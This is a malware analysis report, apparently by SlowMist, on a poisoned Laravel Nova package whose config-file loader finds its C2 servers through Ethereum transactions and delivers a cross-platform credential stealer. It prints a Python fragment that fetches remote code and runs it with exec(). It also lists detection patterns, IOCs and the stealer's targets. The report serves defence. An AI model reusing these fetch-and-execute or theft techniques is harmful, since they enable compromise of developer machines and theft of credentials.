Background

The sample comes from a development branch of a Laravel Nova extension package, `visanduma/nova-two-factor`, which is associated with the PolinRider campaign. This is a PHP package published on Packagist; as of the time of this analysis, it has been downloaded more than 700,000 times.

The delivery chain does not write the C2 address into the sample. The implanted code first queries Ethereum, extracts the IP addresses of two servers from the recipient addresses of a transaction, and then retrieves the next-stage payload via HTTP. To change servers, the attacker only needs to post a new transaction on-chain; there is no need to re-poison this package.

The end point of this chain is a cross-platform credential stealer that collects browser accounts and cookies, encrypted wallet data, password manager databases, and development credentials.

The remote payload obtained in this case was retrieved via this round of actual requests and decoded offline. The decoding only performs XOR, zlib, and base64 transformations, and does not execute any downloaded content. The analysis conclusions are based on static code and the remote responses, and there is currently no evidence from the victim side to prove that these stealing behaviors successfully occurred.

MistEye response

MistEye is a Web3 threat intelligence and dynamic security monitoring system independently developed by SlowMist. It integrates security monitoring and intelligence aggregation capabilities, providing users with real-time risk alerts and asset protection.

MistEye synchronized the risk to the intelligence push and customer alert channels immediately.

The following is a detailed technical analysis.

attack chain

The figure above is a relationship diagram reconstructed based on the code and the capture results.

From one-line configuration to on-chain attribution

The implanted code is hidden at the end of a configuration file. The first 10 lines of the file are normal Tailwind configuration. The 11th line ends normally with something like };, followed by 507 spaces. Only after the spaces does the code execution begin. This string of spaces causes a narrow window to display only what appears to be a normal ending, but it does not change the JavaScript execution semantics. Assigning a value to module.exports will not terminate module execution. The trigger is also present in the sample: the scripts in package.json such as development, watch, and production all point to Laravel Mix. webpack.mix.js passes tailwind.config.js as a config path to the PostCSS plugin. Tailwind 3.1.8 reads this configuration via require(userConfigPath) in setupTrackingContext.js—this step executes the top-level code of the configuration module.

The loader obtains the current C2 address via an Ethereum transaction. The attacker encodes two IPv4 addresses in the transaction’s receiving address. The sample extracts this information from transactions from a fixed sending address, and then downloads the next payload via HTTP. This allows the attacker to publish new transactions to update the delivery server address without modifying the already implanted configuration file.

First, the implanted code initializes its own global variables, and then performs on-chain queries. The query reads the to field of transactions: remove the 0x prefix, convert back from hexadecimal to 20 bytes. The first 4 bytes are an IPv4; bytes 4 through 8 are the second IP; the remaining 12 bytes are not used. The actual decoded results from this round are 166[.]88[.]134[.]75. The two IPs are the same, and the last 12 bytes are a plaintext marker: helloipbot!!

The loader queries candidate transactions around the boundary of every thousand blocks, and extracts encoded C2 addresses from those transactions. On-chain data shows that this query logic relies on the attacker maintaining a heartbeat: near each thousand-boundary point, there is a new transaction. In the 392 transactions pulled in this round, all are zero-value transfers with empty calldata, and gasUsed is 21000; the only piece of information carried is the to address itself. The address is also periodically changed; the most recent five cycles correspond to 166[.]88[.]134[.]62, 23[.]27[.]13[.]135, 166[.]88[.]73[.]46, 193[.]247[.]144[.]38, and the one in this round: 166[.]88[.]134[.]75.

After locating completion, the code sends a request to the 443 port of the decoded IP, retrieving two paths: /0x/cls and /0x/ls. Here is a detail that can easily be misled by the port number: the URL scheme is http:, the call is made via http.request, and 443 is only a port number—there is no TLS. After the two payloads are decoded with a loop XOR, they are handed to the same execution function and run in a detached Node sub-process. For the /0x/cls route, before launching the sub-process, it also evaluates once in the current process. If this evaluation throws an error, exits the process, or never returns, the subsequent sub-process may not be reached.

It is worth mentioning that we used MistTrack to analyze the malicious address 0xa322e5f3d311d3080e6f0121063e9adc2490ef1a. Its initial funds came from FixedFloat.

图片

Three tools, three responsibilities

The two loader routes ultimately correspond to three components. The number of interfaces is more than the number of components because some interfaces provide the same content using different encodings or fallback paths: the body field in the /0x/clb response and the正文 in the /0x/cb response, which—after decoding—yield the same code; and the /0x/js response and the inz field in the response are byte-for-byte identical.

/0x/cls retrieves a remote control component clb with a Socket.IO command channel. It can fetch and execute Python from an address specified by the operator. The loader cls responsible for obtaining and executing clb also includes a failure reporting logic: if an error occurs, it concatenates os.hostname(), os.userInfo().username, os.type(), and os.release() into a text string and POSTs it to /verify-human/<marker>.

The inz field in the same response, as well as the separate copy provided by /0x/js, is the reinfection loader inz. It uses obfuscation techniques such as multi-layer string encoding, control-flow flattening driven by array state, and indirect function dispatch. After static expansion, you can see that it comes with its own on-chain location logic: it uses the same Ethereum sender address and the same to field, converts it to an IPv4, and then requests /0x/cls to retrieve the remote control component. After obtaining it, it executes either in the current process or in a detached sub-process. The remote control component clb also has the capability to write it into the host application scripts. When the host later loads this code, it will re-enter this location and loading workflow.

/0x/ls fetches the Python loading component boot. Static reconstruction shows that boot uploads some environment variables to /snv and then starts Python to download the subsequent payload.

url = f'{{GLOBAL_H}}/$/{id}' # id is fixed to '1'

Request._code = urlopen(Request(url, headers=H)).read().decode('utf-8')

exec(Request._code)

If urlopen fails, it falls back to the system curl. The text obtained from the two paths is passed to exec without any validation.

During this round of requesting these paths, the server gave inconsistent responses. HEAD /$/1 returns 404, while GET /$/1 returns 200 and a response body of 36,485 bytes. The Last-Modified value is always equal to the time of the current request. Requesting the three paths /d/python.zip, /d/python.7z, and /d/7zr.exe in the same way all return 500.

Cross-platform credential stealer

The final-stage payload obtained in this case, after Base64 decoding and zlib decompression, is a Python script of 89,149 bytes.

This payload is intended for sensitive data accessible to the executing account. It includes logic for extracting and decrypting login credentials, and also directly copies data files from wallets, password managers, and development tools. The collection targets in the code are mainly grouped into the following five categories.

  • Browser account, session, and payment information: it targets Chromium-based browsers such as Chrome, Edge, Brave, and Arc, as well as Firefox. It reads login, Cookie, and Web Data databases and attempts to decrypt and export them. Some Chromium paths also involve payment card data. It also includes logic for copying Firefox configuration and extension data.

  • Encrypted wallet and wallet app data: wallet files such as Exodus, Electrum, Atomic, and Monero; Solana’s id.json; extension storage for MetaMask, Phantom, etc.; and desktop application data for Ledger Live and Trezor Suite. It searches and copies files or directories by predefined paths and extension IDs.

  • Password manager data: local databases, caches, and configuration from apps and extensions such as 1Password, Bitwarden, NordPass, KeePass/KeePassXC, Dashlane, and LastPass. It copies matching files and directories; some SQLite databases are collected together with log files.

  • Development credentials and environment variables: Git credential files, GitHub CLI hosts.yml, VS Code local state, GitHub Desktop logs, and the current process environment variables. It copies files and exports the environment variables as JSON and text, which may include access tokens injected by development or build environments.

  • System credential storage: Windows Credential Manager, and entries in the default set of Linux Secret Service. It calls system interfaces to enumerate and attempts to read credential contents accessible to the current account.

For browser data, the sample both copies the original databases and includes logic to obtain decryption material by calling Windows DPAPI, macOS Keychain, and Linux Secret Service/KWallet. It attempts to restore sensitive fields and export plaintext. Whether it can succeed in practice depends on whether the required keys or decryption interfaces are available, whether access is authorized, and whether the browser data format is compatible.

The sample also searches paths such as /mnt/*/Users/*/AppData/... to try to read mounted Windows user directories. Therefore, the collection scope may extend to other system partitions accessible by the current account, and the actual content that can be read is still limited by the mount status and file permissions.

The collection results are written into a local directory and packaged. The sample reports host information and collection counts to /u/e, and reads the Telegram upload parameters from the response. It then uploads the archive to /u/f, or—when the code conditions are met—calls Telegram sendDocument. The upload logic includes retry, host switching, and chunk handling. After a successful upload, it attempts to delete the local archive.

This code also includes two self-limiting behaviors. If the response code is 429, it exits directly. Blocked (BOT) is another one: if the sample does not hit its WSL2 identifier-based Linux environment, and the system credential count, extension count, and Firefox profile count are all zero, it records this marker and skips the subsequent main collection and upload workflow. Before reaching this decision point, the sample has already executed environment variable export, system credential enumeration, and partial directory scanning.

Summary

Confirmed is an entire delivery chain from build configuration to the credential stealer. The entry point is a loader appended to tailwind.config.js, triggered by the frontend build. Attribution does not rely on domains; it reads the to address from one Ethereum transaction. The third stage consists of three components: the remote control component clb, the reinfection loader inz, and the loading component boot responsible for extending into Python. The endpoint is a stealer covering three platforms, targeting browser credentials, encrypted wallets, password managers, and development credentials.

The risk lands on the developer machine, build containers, and CI runners where the frontend build runs. As long as that machine executed a build of this project, the loader has a chance to run. Once the stealer executes, browser credentials, wallet files, and GitHub tokens accessible within the executing account’s permission scope may be read.

Recommendation

1. Inspect the downstream project’s composer.lock to confirm whether visanduma/nova-two-factor is on a malicious version such as dev-nova5, and verify the tailwind.config.js by checking the file hash against a source-code snapshot of that package at any given point.

2. In the affected development machines and CI runners, retrieve network records during the build. During the project build, the Node process issues JSON-RPC requests to multiple Ethereum RPCs and also sends plaintext HTTP to a bare IP at port 443. The request also includes a Sec-V header.

3. Check whether the process command line contains node -e and the prefix includes global['_V'], as well as whether there is a Python process started by py -c. The path that evaluates directly does not spawn a new process—it only checks node -e, so this kind of execution would be missed.

4. If you confirm that the build successfully executed, treat the host as compromised. In a clean environment, rotate browser master passwords, wallet recovery phrases and private keys, GitHub CLI tokens, and other version control credentials that have appeared on that machine, and audit recent access to these accounts.

5. Preserve composer.lock, local Git objects and reflog, build time, the Node version at the time, and the original HTTP request/response. Avoid updating dependencies or rebuilding until the troubleshooting is complete.

6. Network-side blocking should follow the IPs in the IOC section of this article; do not indiscriminately block by Telegram domain names, since those are public services that were borrowed. Also don’t stop at IPs: in combination with host and account investigation, check whether there are leftover packaged archives, environment-variable export files, and records of abnormal outbound connections on the build machine.

IOC

IP

166[.]88[.]134[.]75
166[.]88[.]134[.]62
23[.]27[.]13[.]135
166[.]88[.]73[.]46
193[.]247[.]144[.]38

Wallet address

0xa322e5f3d311d3080e6f0121063e9adc2490ef1a

Malicious dependency

Packagist:visanduma/nova-two-factor@dev-nova4support
Packagist:visanduma/nova-two-factor@dev-main
Packagist:visanduma/nova-two-factor@dev-using-inertia
Packagist:visanduma/nova-two-factor@dev-nova5

Malicious file

filename: tailwind.config.js
SHA256: 515a53291d25d229e1f9fa72e66407e1cfd7e77c91478400b24d5185af68531a

This payload targets sensitive data accessible to the executing account. It includes logic to extract and decrypt login credentials, and it also directly copies data files from wallets, password managers, and development tools. The collection targets in the code are mainly divided into the following five categories.

https://socket.dev/blog/polinrider-github-packagist

About MistEye

MistEye is a Web3 threat intelligence and dynamic security monitoring platform independently developed by SlowMist. Through its API, it provides an open-source package ecosystem for detecting malicious activities and for supply-chain risk warning capabilities.

All malicious packages and IOCs involved in this campaign have been ingested into MistEye’s threat detection engine. Developers can use the API to automate detection of project dependencies, quickly determine whether they match known malicious packages, and obtain remediation recommendations.

📖 API documentation: https://app.misteye.io/api-docs

🛠️ MistEye-DepScan: https://github.com/slowmist/MistEye-DepScan

A lightweight CLI tool that scans a project’s dependencies and known malicious packages in globally installed packages with a one-line command. It supports the npm / PyPI / Cargo / Go / RubyGems ecosystems

🛠️ MistEye-Skills: https://github.com/slowmist/misteye-skills

AI coding assistant security skills package, which automatically triggers MistEye security checks before dependency installation and URL access

🛠️ MistEye-DNS-Guard: https://github.com/slowmist/MistEye-DNS-Guard

DNS security protection tool that detects malicious domains and risky access, and identifies network threats such as phishing and C2.

This article was written by the SlowMist Threat Intelligence team, combining the MistEye threat intelligence system and the SlowMist Agent AI-driven analysis. If you have any questions, please feel free to contact and provide feedback.